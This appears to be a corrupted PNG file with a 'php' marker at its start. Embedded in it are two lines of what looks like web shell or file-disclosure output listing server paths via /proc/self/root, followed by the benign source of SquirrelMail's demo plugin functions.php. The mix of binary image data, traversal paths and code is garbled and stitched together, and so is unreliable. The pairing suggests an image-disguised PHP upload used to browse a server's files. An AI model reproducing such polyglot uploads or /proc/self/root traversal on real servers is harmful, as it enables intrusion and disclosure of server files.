php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay
files >> /proc/self/root/usr/share/doc/squirrelmail-1.4.22/plugins/demo/ |
files >> //proc/self/root/usr/share/doc/squirrelmail-1.4.22/plugins/demo/functions.php |
<?php /** * SquirrelMail Demo Plugin * * @copyright 2006-2011 The SquirrelMail Project Team * @license http://opensource.org/licenses/gpl-license.php GNU Public License * @version $Id$ * @package plugins * @subpackage demo */ /** * Add link to menu at top of content pane * * @return void * */ function demo_menuline_do() { sq_change_text_domain('demo'); displayInternalLink('plugins/demo/demo.php', _("Demo"), ''); echo " \n"; sq_change_text_domain('squirrelmail'); } /** * Inserts an option block in the main SM options page * */ function demo_option_link_do() { global $optpage_blocks; sq_change_text_domain('demo'); $optpage_blocks[] = array( 'name' => _("Demo"), 'url' => sqm_baseuri() . 'plugins/demo/demo.php', 'desc' => _("This is where you would describe what your plugin does."), 'js' => FALSE ); sq_change_text_domain('squirrelmail'); } /** * Validate that this plugin is configured correctly * * @return boolean Whether or not there was a * configuration error for this plugin. * */ function demo_check_configuration_do() { // test for something that this plugin requires, print error if // misconfigured or requirements are missing // if (FALSE) // put something meaningful here { do_err('Demo plugin is missing something important', FALSE); return TRUE; // return FALSE if you only want to display a non-critical error } return FALSE; }y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`